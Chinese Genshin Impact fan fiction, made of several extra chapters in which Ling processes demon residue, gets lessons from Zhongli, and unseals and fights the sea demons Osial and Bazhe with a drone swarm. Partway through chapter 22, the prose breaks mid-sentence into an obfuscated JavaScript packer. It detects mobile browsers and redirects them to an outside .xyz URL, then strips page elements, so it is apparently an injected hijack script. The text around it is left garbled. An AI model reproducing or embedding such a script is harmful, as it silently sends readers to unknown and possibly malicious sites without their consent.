哪怕是个人业障问题解决，兢兢业业的魈还是坚守在这里除魔，时不时帮忙搜集魔神残渣的样本。 打开明显是奶茶店赠品的保温袋，里面一排排整齐的试管，隔着玻璃都能看到翻腾的魔神残渣。 派蒙打量着试管，忍不住问：“看起来每根试管都满了，万一它从里面逃出来怎么办啊？” “放心啦。”零解释，“这不是普通的试管，我拜托钟离做了空间扩展和稳固。其实用奶茶杯也可以，不过试管装起来更节省空间。” 派蒙想象了一下魔神残渣在奶茶杯里咕涌的模样，似乎有点微妙。 没有了业障的困扰，魈看上去压力少了一些，帮着补充：“收集起来很容易。我日常就在除魔，更好上手。” 收起保温袋，零掏出一大袋子报酬塞给魈，看到对方又要拒绝，她果断运用在社畜之家学来的“仗势欺人”技能：“钟离要我给你的。” 魈果然犹豫了一下，收下了：“既然是帝……钟离先生要求……谢谢你。” 在魈看不到的地方，双子默默给零的新技能比了个大拇指。 零努力压下新技能一招成功的小得意，轻咳一声，说：“关于魔神残渣能量的可持续利用，我的研究有了一些进展，肉眼可见的未来能够彻底解决。所以，你有可能被动失业。” 「被动失业」这个新名词显然震撼到了魈，他困惑地眨了眨眼，一时间没反应过来。 派蒙不愧是提瓦特星球的智能小向导，她明白过来，问：“你的意思是以后不需要除魔了，魈要退休了？” 听到“退休”两个字，魈终于反应过来，张了张嘴，说不出话。 双子的眼里透出一种复杂的同情，一方面除魔问题能够解决是好事，另一方面看起来魈一时半会儿并不能接受退休的现实未来——哪怕上司钟离那么享受退休生活。 零进行无效安慰：“我明白，在人类社会中，「被动失业」往往对求职者打击很大，使求职者难以有效调整情绪，不能快速投入到求职中，重新就业的过程步履维艰。” ……你这个等于没说。 派蒙和双子同时死鱼眼。 零继续说：“我就此事问过钟离，唔，他似乎对不能享受退休生活的行为很不理解，问了等于白问。我又去咨询了一些人类朋友，他们给出的建议是深造，利用深造时间平缓心态。” “所以，魈上仙，要不要考虑去教令院读个研究生？”她不知从哪里掏出一本招生专业手册，塞进了魈的手中。 …… ………… ……………… 不只是魈，双子和派蒙都沉默了。 夭寿了，头一回看到有劝仙人去读研究生的。 这和胡桃在海灯节推出买一送一活动有什么区别。 好在魈上仙不愧是经历过海灯节死亡饭局的仙人，他没有拒绝也没有答应，拿着手册，说：“谢谢，我会考虑的。” 如果此刻说“我会考虑”的是稻妻人，十有九成九就是在拒绝了。 可魈上仙是璃月人，零这种套公式解人情答题的做题家，压根就没往这个方面思考，高兴地与陷入沉思的魈告别，提着魔神残渣试管袋回去了。 TBC 21.番外六·实习期上路考核（中）[番外] “蓝色的这套不错。” “黑金的也很衬。” “嗯嗯，那件红色的拿来试试看。” 今天是“奇迹零零”复刻活动日，除了活动发起者云堇，辛焱和荧，连带派蒙也热情地参与进来。 复刻活动主角一脸不情愿地充当木头架子，还被指动作太僵硬，影响拍照出片。 她忍不住求饶：“云堇姐姐，还有几件啊？我回去还要改论文和发言稿。” 云堇说：“上次量尺寸被你逃了，今天绝对不准逃。” 派蒙问：“发言稿？什么发言稿。” 零觉得派蒙真的很会抓关键字说话，赶紧解释：“纳西妲邀请我去教令院参加虚空终端网络技术交流论坛，我正在修改发言稿。”然后拼命可怜兮兮地眨巴眨巴眼睛，希望云堇手下留情。 未曾想，云堇听到这事的反应是：“那就更要好好试衣服了，总不能穿着连帽衫去须弥教令院吧！” 眼前一黑。 最后她回去时，已然精疲力尽，一脸和哥德巴赫猜想大战几百回合的模样，连奶茶也喝不动了，给了派蒙。 荧出于同情心，帮忙提了一袋衣服。派蒙喝着第二杯奶茶，说：“试衣服比数学还可怕吗？” “数学这么有趣的事情怎么能和试衣服相提并论呢？” 零嘟囔着，走进院子，看到空正蹲在那里修秋千。 空抬头：“换装游戏结束啦？我觉得那套白色的也很好看。” 零大惊：“你怎么知道？！” 空晃晃虚空终端：“云堇发朋友圈了。” 可恶，这下社死。 决定不爱云堇一秒钟，滴答，一秒钟结束，还是很爱云堇姐姐。 荧忍不住偷笑，为了不让零尴尬，她转移话题问哥哥维修秋千的进度。 零便接过荧手中的衣服，让双子一起蹲着研究秋千。 厨房里传来咕嘟声，派蒙深吸一口气：“我闻到了天枢肉的味道！” 不愧是你，派蒙。 她把衣服往椅子上一堆，整个人扑进沙发，纯纯葛优躺，完全不想做任何事情了，什么衣服啊吃饭啊奶茶啊发言稿啊论文啊都…… 等等，论文…… 钟离从厨房里出来，问：“你实验室里的魔神残渣，今天是最后一轮跑程序了吧？” 一针起效。 零猛地从沙发上跳起来，一头扎进边上的房间，派蒙跟在后面问：“我能进来看看吗？” “可以啊。”零打开门，派蒙的眼前是无数看不明白的管道线路，一头是试管，另一头是一个似乎有点重量的机器，散发着无机质的光。 文盲派蒙诚实地请教：“这是什么？” “魔神残渣能量转换实验。”提到自己感兴趣的事情，零立刻热情起来，耐心地介绍，“根据能量守恒定律，能量不能被创造或消灭，只能从一种形式转化为另一种形式。在能量转化的过程中，能量的总量保持不变。这意味着在一个封闭系统中，能量的输入和输出必须平衡。” “我尝试将魔神残渣的能量在封闭系统中转化成其他能量形式，设计了这个程序。留云借风真君帮我排设了线路，目前来看，程序跑得很不错，数据也很稳定。” “如果能保持鲁棒性，那么就可以尝试放到更大一点的系统中运行，比如提瓦特星球系统。” 派蒙后悔自己多请教了一嘴，听着已经开始晕了。 修完秋千的双子过来解救了可怜的白色应急食品，空指着沉淀在试管最底部的黑色物质问：“这是什么？” 对于实验前景的期待在此突然减退，零叹了口气：“你可以理解为魔神残渣的残渣，目前能量转换无法转换的部分。” 她指了指边上的机器：“现在能做到的是转换成电能，就像人类发电厂一样，无论是火力发电还是核电，都会有残渣。” 派蒙担心起来：“这些残渣直接扔掉吗？会不会有影响？这样魈还怎么退休啊？” 正说着，试管中的颜色黯淡下来，显然是能量彻底转换完毕，徒留试管底部的渣滓，散发着诡异的深渊一样的黑色。 “当然不能扔，现在我的处理办法是这样的。”一副「纯演示无任何不良引导行为」的模样，零打开试管，当着双子和派蒙的面，像喝奶茶一样，就这么把魔神残渣的残渣灌进了嘴里。 别说是派蒙了，双子都彻底惊呆了。 派蒙说话都哆嗦了：“你你你——就这么吃下去了？！” 荧也瞪大了眼睛，上上下下左左右右围着零绕了一圈，生怕她哪里不对劲裂开了。 门外站着的钟离显然淡定多了，只是问：“这次残余的渣滓比上次的少了一些？” 零放回试管，点点头：“这轮程序我做了一些小修改，等后面去须弥的时候我再问问专业人士，虚空终端上讲不清楚，还是面对面比较有效率。” “既然处理好了，那就吃饭吧。” 空一手扶额，总算是明白了那天钟离说的“样本不要当场处理，回来再处理。”中的「处理」到底是什么方式的「处理」。 有好吃的天枢肉在前，派蒙已经把前面「生吞魔神残渣的残渣」的震撼抛到九霄云外了。只有双子还沉浸在这种魔幻事件中，直到后来在须弥接到了一个明显是针对旅行者的萝卜坑委托： 「调查冒险家协会仿生人偶的制作工艺。」 看着接待员兼被调查对象的凯瑟琳一如既往的商业笑容，双子只觉得自己脑袋上的汗都下来了。 再低头看委托发布者，零啊，那没事了……怎么又是你！ 双子走进净善宫，看到委托人正在愉快地和小吉祥草王喝下午茶，边上甚至悬浮着一个虚空终端平板，里面是大慈树王的笑脸。 身为星球的领航员，以及星球系统的管理员，大慈树王选择不离开世界树，将自己彻底隐没在小吉祥草王身后。 当然，这并不代表不能用一些赛博方式来喝下午茶聊天。 比如现在。 好哇，你们喝茶吃点心正快乐，我们还要被凯瑟琳投以「和善」的注视。 带着这种怨念，双子走上前来，被纳西妲招呼着坐下一起吃椰枣核桃小蛋糕：“零觉得椰枣蜜糖太甜了，教我做了这个蛋糕，你们也尝尝”。 看着这表面焦红的蛋糕，荧尝试着咬了一口：“好吃！哥哥和派蒙也尝尝！” 派蒙拿起一个送进嘴里：“哇，有椰枣和核桃的香味，外脆里软，甜度也刚刚好！” “对吧对吧，这种简单快手料理我还是很善于学习的。”零带着点小骄傲，“小地瓜上教的，只需要把鸡蛋打散，面粉和泡打粉以及融化的黄油加进去，搅拌均匀，最后放椰枣和核桃拌一下，送进烤箱就行啦。对于生活，人类的智慧可是无限的。” 说到这里，她突然想到什么，重重地哼了一声：“教令院那群墙头草学者，真是浪费人类资源。” ？ 双子面面相觑，这是遇到什么事了？怎么扯到教令院上去了？ 兄妹们写作「求知」读作「八卦」的目光投向了纳西妲。 小吉祥草王倒是不避讳，笑眯眯地把来龙去脉说得清清楚楚。 原来在虚空终端网络技术交流论坛上，零围绕虚空终端网络铺设的基建技术进行了发言，总结时提到文明的发展离不开人类的智慧，然后被部分学者怼了。 “这句话有问题吗？”派蒙忍不住替零打抱不平，“并没有说错啊。” 纳西妲说：“可能是之前的事件影响，导致这些学者急需歌颂神明的伟大。” 小吉祥草王指的自然是旅行者经历过的草神被教令院大贤者囚禁事件。 事后在全须弥大范围意义上来说，虽是无声无息地进行了一场政治洗牌，但学者的眼睛又不是瞎的，看到自己的顶头上司被流放，作为人类个体，其有限的政治智慧选择了当墙头草——甚至严格意义上可以说是—— “二极管。”零下了定义，“要么一头倒向人类可以创造神，要么一头倒向神明万能。完全不在乎实事求是，以前大贤者的所作所为，不是为人类，而是为了个人狭隘的私心——表面上是一人之下万人之上，实际上是控制全域的个人权力和财富。老师说过，保持初心是一件很容易也很困难的事情。” 容易在于纯粹，困难在于利益。 她皱起了眉头：“提瓦特星球还处在神明与人类共生的状态，兼收并蓄才是文明进步的最优解。” 大慈树王的声音从虚空终端中传来：“对于人类而言，有限的 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荧默默给哥哥比了个大拇指，终于回到了刚开始的主题。 谈及委托，零回过神来，道：“我想以自己为AI母版，做个仿生人，后面有用。” 她指了指大慈树王和小草神，又指了指自己：“虽然纳西妲是世界树的枝杈，但在我看来，和大慈树王是分开的不同个体。我和钟离出自同源，可从个体意识上来说也是不同的。我需要有一个能由我个人意识控制的个体，必须是人类的形态，不能有人偶的关节。” 听明白了委托人的诉求，空很干脆地说：“那么你为什么不去问问凯瑟琳的制作者冰神呢？” 零一脸理所当然：“这就是我发委托的原因，接下来我还有很多事情要忙，有些钱和原石总是要给人赚的吧。” 可恶，说得好有道理，我竟无言以对。 双子心有灵犀地想着，看在原石的份上，接下了这个为旅行者量身打造的萝卜坑委托。 带着萝卜坑委托结果回到璃月港时，双子正好遇到璃月七星在玉京台举行「虚空终端网络全璃月覆盖暨孤云阁虚空终端建设竣工运营仪式」。 凝光主持了仪式，璃月七星共同剪彩。 在仪式上，凝光表示，在参与虚空网络建设过程中得到了各机构、全璃月百姓的大力支持和帮助。虚空网络在璃月的全面建成运营，不仅为璃月与提瓦特各国的信息交流带来极大便利，更对推动璃月全域一体化发展，对璃月港与提瓦特各港口的交互发展，对促进璃月经济实现跨越具有深远意义。 零作为虚空终端网络的架构者之一，只是和钟离站在玉京台的角落里，遥遥地观礼。双子过来时，正听到她评价：“我喜欢白头发大姐姐。” 钟离叹气：“你的辈分乱得一塌糊涂。” “哎呀，这种细节不必在意。”零摆摆手，转头见到双子，积极地问，“进展怎么样了？” 接过从冰神那里记录下来的制作流程，零一页一页翻过去，脸上愁容渐渐密布：“工艺很清晰，但是材料也太多了，流程也太长了吧，这样做出一个根本赶不上死线。” 愁归愁，她还是很守信用地结清了委托的报酬。 这搞得双子不好意思了，看起来并没有解决金主的烦恼。 钟离接过记录，浏览了一番，道：“你这是想学习「身外身法」？我可以教你，无需兜那么大圈子。” 零震惊：“「身外身法」？！还有术语？” 钟离颔首：“作梦中梦，见身外身，此法对你来说应当不难。”他顿了顿，猜测道，“你是想以身外身，打开封印吗？” 零的眼睛里闪烁着求知的光：“没错，兼收并蓄，当然要取各自所长。钟离老师，事不迟疑，今天就上课吧！” 钟离都一滴汗下来：“待会儿我要陪堂主去操办典仪，此事并非一日可学成，不必急于一时。” 涉及自己感兴趣的学习，她总是异乎寻常的积极。 派蒙在一边吐槽：“遇到自己头疼的事情，就躺平摆烂。” 空戳戳派蒙，表示如果派蒙有零一半的学习积极性，也不只会光顾着吃了。 22.番外六·实习期上路考核（下）[番外] 北国银行摩拉被大量兑现，这是近期从璃月到至冬的茶馆、咖啡厅里闲聊的主要话题。 最神奇的是，北国银行对此没有任何反应，一定要说的话，也就是出了个简单公告表示摩拉储备充足。 璃月七星这里倒是与时俱进，在虚空终端上发了个黄金屋摩拉储备的照片，什么多余的话都没说。 连派蒙都觉得哪里很微妙了：“现在很多人用虚空终端支付了，不需要兑换那么多现金吧？” 双子为派蒙点赞，昔有吴下阿蒙，今有吃货派蒙，当刮目相看。 派蒙生气地跺脚：“你们根本就没在夸我！” 直到在北国银行璃月分行的后门，逮到了猫猫祟祟不走正门的达达利亚，双子脸上同时露出“被我抓住了吧”的笑，相似的眼睛盯着至冬的执行官。 没想到达达利亚却说：“有旅行者见证，也是好事，和我一起进去吧。” 带着满心疑惑，双子和派蒙跟着进入会客厅，看到了熟悉的人。 怎么又是你！双子同时扶额。 “零！怎么是你？”还是派蒙心直口快，“难道你就是那个都市传说的主角？” 零放下茶杯，疑惑地问：“都市传说？” 派蒙竹筒倒豆子一样把坊间八卦说了一遍，不得不承认，派蒙的口才是越来越好了。 零恍然大悟：“人类的八卦技能真是一如既往的神奇。”然后星海般的眼睛转向至冬的执行官，“请旅行者作为见证人，感觉你是一个很聪明的人，不像人类传言那样沉迷战斗，果然传言不可信。” 达达利亚笑道：“多谢零小姐称赞，富人无法前来，我被委以重任，希望能合作愉快。” 什么叫富人无法前来？双子对视一眼，渴望八卦的目光投向了达达利亚。 达达利亚踌躇了一下，似乎在思考措辞。零开口道：“身为同事，公子比较难开口，我懂这个人类关系，不如由我来说。简单来说就是，富人就铸币权问题和璃月七星进行了深入、坦率的交流，结果是富人被拉黑了，公子因祸得福从黑名单里放了出来。” 啊？ 这个八卦说得实在是太简单了，别说是双子和派蒙了，连达达利亚都觉得说了，并没有完全说。 于是达达利亚想了想，本着客观的角度，将同事的翻车业绩说了一遍。 如果金钱是世界的血液，那么能够制造金钱的地方，那就是世界的心脏。 谁拥有这个能力，谁就是世界的心脏。 璃月的核心竞争力就是铸币权。 因为提瓦特所有国家都只使用摩拉，而且摩拉具有不可模仿性，摩拉中蕴含岩之神特殊的力量来做防伪。 所以拥有了铸造货币的权利，本身就处于经济链的最顶点，可以支配世界经济永远处于不败之地。 潘塔罗涅毕生的愿望，就是让至冬掌握铸币权。这样，一旦在关键时刻停止铸币，就能造成提瓦特经济动荡。 他一方面找到了制造摩拉的原材料——石珀，另一方面寻找岩系魔神的下落，只要掌握岩系魔神的力量，哪怕是死亡的躯体，也能够完成摩拉的生产。 “等等！”听到这里，派蒙忍不住出声问，“什么叫岩系魔神的下落？摩拉不是钟离制造的吗？” 零摇摇头，帮达达利亚完善这个讲述：“以前钟离应该跟你们说过，摩拉的制造必须借助「岩之神」的力量。在逻辑架构中，这并不特指「尘世七执政之神」，而是一切「岩之魔神」。他已经不是岩神了，只要找到其他岩系魔神的力量，就可以完成摩拉生产的替代。只不过，寻找也是需要时间的。” 派蒙问：“这么说，富人和璃月七星都找到了其他岩系魔神的力量？” “是的。青墟浦遗迹下的翡玉之魔神。”达达利亚苦笑，“结局想来各位已经猜到了。” 闻言，空回忆起了什么：“之前我曾经帮夜兰调查过一件事，涉及到了富人。没想到还有后续。” “夜兰小姐不愧是璃月的特别情报官。”达达利亚风度翩翩地表现了对强劲对手的赞美，继续说，“总之富人被璃月七星拉黑，现在虚空终端支付方式又让北国银行损失了很多收入，还遇到大量兑现摩拉的情况，只能由我来这里了。” 零一脸理所当然：“我在北国银行存了那么多摩拉，兑现出来多正常啊。” 这种不知道哪里来的富豪气派向派蒙劈头盖脸袭来，派蒙忍不住飞到双子身边“自以为小声”地嘀咕：“她哪来那么多摩拉啊？能兑到北国银行都撑不住？” 这嘀咕当然被听到了，零指指虚空终端：“虚空终端网络有我的技术入股，只要用虚空终端，我就可以获得收入分红。” 这种遥遥领先提瓦特大部分人的方式显然惊到了派蒙：“这么说，每天上网刷视频水论坛，你都能赚到钱？这么好赚？！” “这可是我在互联网大厂潜心学习的心得。”零说，“风口站对了，梦貘也可以飞起来。” 达达利亚回到正题，掏出一份文件：“我受命前来，这是女皇陛下交给我的，请零小姐过目。” 零仔细地看了一遍：“嗯，富人的味道少了很多呢，我就说嘛，合作共赢才是大势所趋，而不是此消彼长或者两败俱伤。北国银行在提瓦特分布广泛，加入虚空终端支付业务，对大家都是好事。” 达达利亚保持笑容：“那么兑现摩拉的事……” “摩拉我的确是有用的。”零的脸上带了歉意，“我没有储备那么多摩拉现金，最近消耗量又有点大，总不能绑钟离放血吧？那也太没人道主义了。只好辛苦一下北国银行了。” 人道主义…… 在场几人的大脑内想象了一下钟离被绑在椅子上放摩拉的场景，赶紧晃了晃脑袋，把这个诡异的画面给晃出去。 走出北国银行，派蒙忍不住说：“没想到现在你交流能力这么厉害了，还能谈商业合作。” 空点点头，要知道刚见面的时候还是套模板走流程的人机交互。 零有点高兴：“这可是我努力学习人类的成果！当社畜也不是白当的。” 荧问：“这个问题可以问吗？消耗那么多摩拉要干什么？我知道摩拉在炼金术中也是极为特殊的存在。” 零颔首：“其实和炼金转换没有太大的关系，我正在试验强相互作用力。” 空预感到零的知识小讲座要开始了，可惜没来得及拦住“好学好问”的派蒙：“强相互作用？” 果然，知识小讲座开始了。 “世界逻辑中有四种基本相互作用力：强相互作用引力、电磁相互作用力、弱相互作用力、强相互作用力。其他的力都是这四种力的不同表现，而强相互作用力是其中最强的一种，它克服了电磁力产生的强大排斥力，把质子和中子紧紧粘合为原子核。” 眼看零都要掏出平板写公式了，双子赶紧自称有个蒙德的委托，拉了派蒙就走。派蒙被空捂住嘴巴，一路抱到海边才松开。她差点被捂得晕过去，在空中转了三圈才回过神来，忿忿地说：“也不要抱得这么紧吧！” 空赶紧道歉，态度之诚恳，让派蒙还是原谅了：“好吧，其实我也不想听知识小讲座的……咦？” 她指着另一边远远的海滩：“那里怎么有个小孩子？一个人不怕危险吗？” 海滩那一头，有个穿着最时兴的璃月裙裳的小女孩，一蹦一跳地在海滩上捡贝壳。因为离得太远，隐隐约约看不清面容，只有扎起的头发末梢处，透着与黑色发丝不一样的光泽。再一眨眼，小女孩就不见了身影。 “我们去蒙德完成委托吧。”三人没有多想，转身离开了。 瑶光滩每天潮水往复，都会留下一些星螺，小女孩每天蹦蹦跳跳地在海滩上寻找好看的星螺。 弯腰累了，就站直身子伸伸腰，从瑶光滩望去，孤云阁分外醒目。 “那里离海更近，会有更好看的星螺吧！”小女孩对着大海自言自语。 当年岩神投下的岩枪的故事在璃月港流传着，璃月坊间将孤云阁称作璃月众魔神的墓园，并称其下埋葬着众魔神之骸体。 与青墟浦遗迹下唯有翡玉魔神之骸体不同，倘若每一根岩枪都对应了一位被贯穿击杀的魔神，其中又有许多岩枪风化、下沉，那么孤云阁下的实际魔神数量就难以想象了。 然而，除了被镇压的漩涡之魔神，其他都只是残渣，它们早就已经没有自我了，残留的并不是私怨，于此躁动作祟的，是未能实现的理想，败者的嗟叹。 这些自怨自艾，被降魔仙人清退，有的漏网之鱼，附在徘徊其间的海豚身上，在水中跃动，听到了小女孩天真的自言自语。它诱惑着无知的小女孩：“来，我带你去那里。” “海豚竟然会说话！你是仙人吗？”小女孩童言无忌。 它继续引诱：“是的，我当然是。” 小女孩拒绝了：“那也不行，哥哥告诉我，不能跟着陌生人走，陌生海豚也不行。哥哥可是世家传承，家里还供奉着百无禁忌箓呢。” 不知什么关键字触动了它的心弦，原本只是想玩死人类幼崽的目的，发生了转变，这似乎是一个有用的人类幼崽。它继续以海底仙宫的宝藏作为诱饵，它相信，愚蠢的人类幼崽是经不住财宝的蛊惑的。 果然，人类幼崽上钩了。 用所谓的“避水仙法”，它带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756206|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着小女孩，在海底曾经的遗迹里，痛痛快快地玩了一遍找宝藏游戏。小女孩开心极了：“你说，还有比这些更美丽的宝藏？” “那是当然，只是这些珍贵的宝藏被藏在了这些岩石的深处，只有聪明的人才能破解谜题。” 小女孩骄傲地说：“我可聪明了，我一定能解开谜题。” “呵呵，那可不一定，你没有解谜的关键道具。” “是什么？” 见小女孩完完全全被吸引住了，它教唆着达成目标：“只要借用一下百无禁忌箓，到时候带着宝藏把符箓还给你哥哥，你哥哥看到那么多宝藏，也会原谅你的。” 小女孩说：“有道理。给我三天时间，三天后我们在瑶光滩老地方见，我一定能和你一起拿到宝藏。” “那太让我期待了。”它努力压制自己的喜悦。 三天后，风和日丽，小女孩如约出现，献宝似的拿出了符箓：“看，我拿到了。” 被附身的海豚带着孩子潜入深海，在巨大的六柱体岩石前停下：“宝藏就藏在这里，可没有人能完全解开六处谜题。” 六柱体岩石周围散落着一些残垣断壁，许多精美的瓷器上面结满了藤壶，甚至还有亮闪闪的宝石在珊瑚间躺着。 前几天对宝藏充满了索求的稚童仿佛没有看见这些瓷器和宝石，而它急于求成，压根也没有发现哪里不对劲。 孩子骑在海豚身上，绕着巨大的六柱体转了一圈，一拍手：“这不就是六卦嘛！这么简单的题目也不会，你们海里应该推广扫盲班！” ？ 竟然被笑话是文盲，它忍了，努力缓和语气：“什么是六卦？” 稚童用“果然是文盲”的眼神看了看它，好心地解释：“六卦分别是震、兑、乾、巽、艮、坤。根据六象筮法原理进行演算，可以当作非常有趣的算术题吧。关键是读懂题，算法很简单，尤其是前四步，只要分二、挂一、揲四、归奇，就行了。” 哦……很简单……简单个大头鬼啊！ 它忍了又忍，和蔼地表示自己实在不会做算术题。 孩子叹了口气：“璃月港的小孩子都会做呢，要知道二爻四象所成的六卦，是三爻八象的基础题型。”她随手折下一支珊瑚，在沙地上写出公式，又详细地列式计算给它看，“只要输入这个结果就可以啦！” 它迫不及待地撺掇着孩子录入答案，再将百无禁忌箓贴在岩柱上。 这张百无禁忌箓纸张平滑硬挺，除了带了点儿纸浆本身的微黄，仿佛是一张没有历经岁月的符箓，连上头的朱砂都没褪色。 此时此地，无人在意这奇怪的差异。符箓贴上去的那一刻，整个岩柱都剧烈地颤动起来，但离岩柱裂开还差一口气…… “咦？怎么回事？”孩子说。 它按捺不住欣喜，压根没听出对方语气的棒读：“解开了谜题，贴上了符箓，就差最后一步了。” 孩子星海般的眼眸满是好奇：“最后一步是什么？” 黑雾从海豚身上升腾而起，凝聚成形，三头海蛇扑向幼童：“用你的灵魂来献祭！” 那一瞬，小女孩的表情异常淡定：“哦，原来你是跋掣啊。嗯，增加杠杆力，放两个出来也不是不行。” 岩柱彻底裂开，漩涡之魔神奥赛尔，连同漩涡之余威跋掣，两者的实质身躯，完完全全地解除了封印。 璃月港此刻还是晴空万里。 空低头看了看虚空终端，吐槽：“这么大好天气，璃月怎么会发布台风红色预警？” 荧看向哥哥：“先不说红色预警，大冬天的有台风就很奇怪吧？” 派蒙飞在半空，璃月港此刻街上几乎无人，只有巡逻的千岩军，其他人都根据璃月七星的预警要求，从低处去高处避难了。她刚想说什么，猛然发现了不对劲，伸手指着远处的大海：“你们看！” 不过须臾，天际忽变，云来海上乌云如墨，翻滚而来，迅速遮蔽了整片天空。阳光被彻底吞噬，海面也似乎感受到了即将到来的风暴，波涛开始汹涌。 风从四面八方呼啸而至，带着急促与不安。原本清澈的海水，此刻在乌云的映照下，显得格外深沉。 “云来海……”空嘴里念着，忽然灵光一闪，“我知道了！我们去找钟离先生！他现在一定在云来海北边的山上！” 三人一路顶着风往锚点赶，派蒙一边飞一边问：“你怎么笃定他一定在那里？” 荧替哥哥回答了这个问题：“因为这个地方既能清晰地看到孤云阁，又能兼顾璃月港的后手。” 双子异口同声地说：“零的上路考核开始了。” -未完，还有个终- 23.番外六·实习期上路考核（终）[番外] 云来海北边的山顶，双子和派蒙赶到时，看到钟离果然在这里，正和一个未曾相识的人坐在石桌边喝茶，完全看不出有什么紧张感。 茶友乍看之下，气质和钟离有些相仿，长发被整齐地扎起，最引人注目的是他那双鎏金眼眸，闪烁着温暖的光芒。他闻声，转头见三人过来，忍不住笑道：“此时此地，真是群贤毕至，少长咸集啊。” 双子和派蒙上前自我介绍，和两人打招呼。 茶友起身与他们握手，莫名让双子感受到长辈的慈祥：“你们好，我叫王耀，是小零的老师。小零在此地承蒙三位关照，非常感谢。” 原来，这就是零经常挂在嘴边的老师。 这样想着，双子并没有忘了正事，空赶紧问：“我们看到台风红色预警，再看云来海上的变化，是不是上路考核开始了？” “哦？她是这样称呼这件委托的吗？”钟离神情自若，抬手以岩元素化出几个石凳，“无妨，先坐下品一杯王兄带来的冻顶乌龙吧，此茶香气尤佳。” 三人只好坐下，拿起茶杯，金黄色茶汤清澈明亮，一口入喉，带有桂花香和焦糖甜香，的确是好茶。 可三人的心还是不太安定，眼睛不住地往孤云阁看去。 钟离见状，宽慰道：“有你们关心，她会很高兴的。无需多虑。” “可是……”派蒙皱着眉头，“零没有武力啊。” 钟离笑了：“旅者不清楚，小派蒙还不清楚吗？她的确不善武力，可并不代表没有力量。”石珀般的瞳中唯有磐石一样的安稳，“可别忘了，她与我出自同源。” 听了这话，三人才稍稍安心下来，荧又问：“那么零现在就在孤云阁上？” 王耀颔首：“对，毕竟孤云阁那里装了信号基站……哦，提瓦特这里叫虚空终端网络基站，反正一个意思。信号稳定很必须啊。” 很必须？ 三人望向波涛汹涌的大海，很快得到了答案。 跋掣的虚影确确实实扎入了小女孩的心脏，稚童却如浪花的泡沫消散，徒余一缕黑色的发丝附上了岩柱，发丝末梢星海般的光芒微微亮起，给百无禁忌箓增加了最后的杠杆力。然后，封印解除，发丝化作金色的0与1升上海面。 随着封印的解除，海面剧烈翻腾，乌云密布，狂风呼啸，仿佛整个海洋都在为魔神的“出狱”而震颤。 奥赛尔庞大的身躯缓缓蠕动，伴随着雷鸣般的轰响，它逐渐挣脱了海底的束缚，庞大的身躯裹挟着无尽的混沌，如同一座移动的黑色山岳，缓缓升起。 与此同时，跋掣也不甘落后，它紧随奥赛尔之后，身形虽不及奥赛尔那般庞大，却同样散发着令人心悸的威压。 两者一同升腾，周围的海水被它们的气势搅动得如同沸腾的开水，形成了一道道巨大的漩涡，似乎要将一切吞噬其中。 当它们完全浮出水面时，原本整个天空应该都被它们的阴影所笼罩，整个海洋应该都为之颤抖。但迎接它们的，却是一个骤然浮现的金色结界，它由无数流动的0与1交织而成，宛如一张无形的巨网，将魔神牢牢束缚其中，就像是奶茶杯里的珍珠芋圆，无论如何挣扎、碰撞，却根本无法逃脱这代码编织的牢笼。 魔神的嘶吼声在结界内回荡，力量在这由代码构建的领域中仿佛被彻底封印，每一次尝试突破都只是徒劳无功地激起一圈圈数字涟漪。 零坐在地上，一手拿着平板，一手戴上墨镜，活像是某星际和平公司的专员。她从信号基站下起身，在平板上发出了指令。 现在的大海，呈现一种诡异的状态，阴云之下，孤云阁以外区域恢复了风平浪静，而孤云阁区域则显然进入了战场。 王耀饶有兴致地问：“这就是你教的结界之法？” 钟离脸上带了笑意：“正是。我制作了一张力量更大的百无禁忌箓给她。她利用身外身法解除封印，又改良了结界之法，有自己的特色，还防止海水倒灌璃月港，的确是考虑周全。” 此时空试着确认：“所以这是委托？而不是考核？” 钟离思考了一下：“虽然也确有通过此事观察身躯稳定的意图，但并不希望因此受伤，我是以「在新架构下魔神残渣的处理」为主题委托她的。” 所以其实还是变相的考核，空确认了零并没有理解错。 王耀不知从哪里掏出一包瓜子来，热情地分享给他们：“来来，嗑瓜子。放心吧，有我这个赞助商，小零的火力绝对不成问题。” 赞助商？火力？ 没来得及细想，山顶观众席的位置，就欣赏到了极为壮观的场面。 数百架无人机以精密的相控阵排布悬浮于空中，最外围一圈与结界的最外围正好重合，亮起金色的灯光，远远看去，如天空裂开了一道门。 随着系统指令下达，无人机群开始同步发射武器，火jian弹如流星雨般划破天际，带着毁灭性的力量直击目标区域。 这些火jian弹在空中划出一道道炽热的轨迹，犹如天空中燃烧的长枪，它们所到之处，爆炸声震耳欲聋，火光冲天而起，将奶茶杯中的珍珠芋圆们吞噬在一片火海之中。 不等魔神反击，无人机群仿佛有自主意识一般，开始有序地调整姿态与位置，天空好像被点燃了一般，无数火jian弹宛如一道道闪电，照亮了暗空。 真正的猛人从不回头看爆炸，但作为获得武器赞助的报酬，零必须记录下使用的数据效果，早早戴上的墨镜正是为了此刻。 被这前所未有的精准战斗震撼到了，双子对视一眼，不约而同地露出了“这也能行？”的表情。 王耀一边嗑着瓜子，一边点评：“我这个赞助商值回票价，数据还能带回去用，要知道，现在实战机会实在是太少了，机会难得，难得啊。” 钟离则气定神闲地对双子道：“如何？此刻可安心了。” 双子机械般的点点头，安心，可太安心了。 这简直就是对魔神的降维打击啊。 无人机群如同巨大的网，覆盖在广袤的天空之上，每一架无人机都是一个精密的作战单元，通过高速的数据传输和算法，实现了无缝协同与精确打击。 与此同时，真正的指挥者还站在信号基站下远程控制，无人机群的战斗如舞蹈般充满了力量与美感，但却又让人不寒而栗。 记录完武器应用的数据，零往额头上推了推墨镜，自言自语：“接下来录入魔神残渣能量转换程序指令。” 魔神奄奄一息，即将死亡，这意味着要进入钟离一直反复叮嘱，也最为头疼的魔神残渣的处理环节。 奥赛尔正面临着它生命中最绝望的时刻。怨恨、不甘……它用尽全身最后的力量，和跋掣一起，将力量自海面之上重新向海底注入。 